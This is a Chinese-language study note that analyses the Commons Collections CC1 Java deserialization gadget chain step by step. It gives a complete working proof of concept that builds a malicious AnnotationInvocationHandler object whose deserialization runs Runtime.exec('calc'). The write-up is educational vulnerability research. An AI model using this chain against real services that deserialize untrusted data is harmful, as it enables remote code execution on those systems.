Java安全学习笔记(二)

前言

最近在看p牛的Java安全漫谈反序列化篇,详细分析了CommonsCollections 这条链。

环境

​ jdk 版本 <=8u70

​ Apache Commons Collections <= 3.2.1

CommonsCollections 分析

先给出完整的利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformer);

Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);
UnSerializ(Serializ(o));

利用点

从利用点开始分析

InvokerTransformer->transform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}

这个方法可以实现任意方法执行,通过传入一个对象,然后反射调用该对象的方法执行,通过查看该对象的构造方法,发现方法名、参数名可控。

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

​ 接下来通过该对象执行命令

1
2
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
image-20220603145341364

寻找利用链

刚刚是我自己调用了transform方法,接下来来看看有哪个方法中调用了transform

点进transform方法,find Usages查看引用。

image-20220603154636505

上面的21处都引用了transform方法,LazyMapTransformedMap类都能可以利用,这里选择TransformedMap进行进一步利用。

image-20220603155151642

TransformedMap类中checkSetValue方法调用了transform方法。

接下来看看什么地方引用了checkSetValue方法。

TransformedMap的父类AbstractInputCheckedMapDecorator找到 MapEntry 类的setValue中调用了checkSetValue

image-20220603160427127

怎么去执行这个setValue呢?

每个Entry其实就是每个(key,value),通过for(Map.Entry entry:transformedMap.entrySet())去遍历每个Enety,就可以调用setValue方法,然后就会执行checkSetValue,进而调用transform方法执行命令。

1
2
3
4
5
6
7
8
9
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
image-20220603164002135

目前为止,我们可以通过setValue方法设置map的值来触发命令执行。我们都知道反序列化会自动执行readObject方法,我们去查找哪个类的readObject方法引用了setValue方法。

image-20220603164406933

有34处引用了setValue方法,看看有没有readObject方法引用setValue方法。

AnnotationInvocationHandler类中的readObject方法调用了setValue。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
image-20220603165145090

看看这个类的构造方法

image-20220603165308888

发现需要传入两个参数,一个需要传入一个注解,另一个个可以控制memberValues属性,而恰好就是通过该属性调用了setValue方法,这就很棒。

接下来创建该对象

1
2
3
4
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);

该类比较特殊,需要通过反射才能拿到,传入的是一个Override注解,这个注解在后面会有一个坑,待会调试后再来调整。

接下来对最终的AnnotationInvocationHandler对象进行序列化,然后再将其反序列化,看看是否可以成功执行刚刚构造的InvokerTransformer->transform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);

// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(o);

System.out.println(barr);

// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream stream = new ObjectInputStream(bais);
stream.readObject();
image-20220604095807168

发现执行后,只输出了序列化后的数据,并没有执行到命令,接下来打个断点进行调试下。

image-20220604095958330

这里有个坑,就是断点打在上面这条语句是断不到的。

image-20220604103844681
image-20220604105025026

执行readObject方法的过程中,需要满足一个条件 memberType != null, 调试中memberType的值为null

那么要怎么才能满足这个条件呢?

因为看源码比较绕,通过看p牛的文章结合自己的思考,直接给出条件。

  1. 在对AnnotationInvocationHandler初始化的时候,第一个参数需要传入一个注解,这个注解当中要有变量,对map进行赋值,它的key 要跟注解当中的变量同名。

    1
    2
    String name = memberValue.getKey();  // 拿到map的键名
    Class<?> memberType = memberTypes.get(name); // 在通过键名在注解中进行查找

最开始,传入的是Override.class

1
Object o = constructor.newInstance(Override.class, transformedMap);
image-20220604112151199

里面并没有定义任何变量,在Retention,发现一个value

image-20220604112241176

接下来将Override.class替换成Retention.class

Map的的键名改成value

1
2
3
4
5
6
7
8
9
10
11
12
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);


Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);

再次进行调试

image-20220604112708609

可以发现memberType已经不为空。

当我再次进行反序列化的时候,却报了个错

image-20220604113311334

说的是exec 这个方法 在class sun.reflect.annotation.AnnotationTypeMismatchExceptionProxy不存在。

原因是Runtime 这个类并没有实现序列化接口,不能够直接进行序列化,需要进行反射调用。

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer transformer = new ChainedTransformer(transformers);

接下来,涉及到关键的三个类ChainedTransformer ConstantTransformer InvokerTransformer

ChainedTransformer

构造方法

image-20220601152905470

构造方法的作用很简单,就是接收一个transformer数组,然后将该数组赋值给了类属性this.iTransformers。

transformer方法

image-20220601153148440

这个方法的作用是遍历传入的transformer数组,里面保存的都是实现了transformer接口的对象,会挨个调用每个对象tranform方法,并且第一次调用后会将返回的结果作为下一个对象的参数再次调用。(放一张p牛的图)

image-20220601160510943

ConstantTransformer类

构造方法 和 transform方法

image-20220601164333811

这个类的构造方法会接收一个对象,并且将该对象赋值给this.iConstant,调用 transform方法就会返回该对象。上面代码传入的是Runtime.getRuntime()。执行transform方法后将得到一个Runtime类的实例。

InvokerTransformer类

构造方法

image-20220601171335637

transform方法

image-20220601171408141

这个方法的功能是传入一个对象,然后通过反射拿到这个对象的类,在通过类拿到和方法名、参数类型拿到这个方法,在调用该方法。简单来说就是通过传入一个对象拿到指定方法,传指定参数进行调用,并且对象、方法名、参数都可控。

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})

再回过头看看刚刚的代码

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer transformer = new ChainedTransformer(transformers);

只需要执行new ChainedTransformer(transformers).transform,就会将transformers数组中的四个对象链接起来,最后执行命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// new ConstantTransformer(Runtime.class)
Class input = Runtime.class;

// new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
Class cls = input.getClass();
Method getMethod = cls.getMethod("getMethod", new Class[]{String.class, Class[].class});
Object getRuntime = getMethod.invoke(input, new Object[]{"getRuntime",null});

// new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
Class cls1 = getRuntime.getClass();
Method invoke = cls1.getMethod("invoke", new Class[]{Object.class, Object[].class});
Object invoke1 = invoke.invoke(getRuntime, new Object[]{null, null});

// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Class<?> cls2 = invoke1.getClass();
Method exec = cls2.getMethod("exec", new Class[]{String.class});
exec.invoke(invoke1,"calc");

用最笨的办法将上面的语句连接起来执行,最后成功执行了命令。

有点像俄罗斯套娃,利用反射获取反射。

完整利用链

至此,一个完整的CC1利用链就构造完成了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformer);

Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);
UnSerializ(Serializ(o));

}

// 序列化
public static ByteArrayOutputStream Serializ(Object o) throws Exception {
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(o);
return barr;
}

// 反序列化
public static void UnSerializ(ByteArrayOutputStream baos) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}

总结

这条链对于我这种Java安全新手来说确实还是有很大难度,因为是第一次分析反序列化链条,后序还有很多链条会分析,所以就详细分析cc1,为之后分析打好基础,也陆陆续续分析了几天,踩了很多的坑,看了很多人的博客,理清楚每个知识点。其实这个过程还是很有意思的,再把整个过程总结出来,更能发现那些地方没搞懂。

参考文章&视频

https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p

Java安全漫谈反序列化篇4

https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.1007.top_right_bar_window_history.content.click(流程清晰)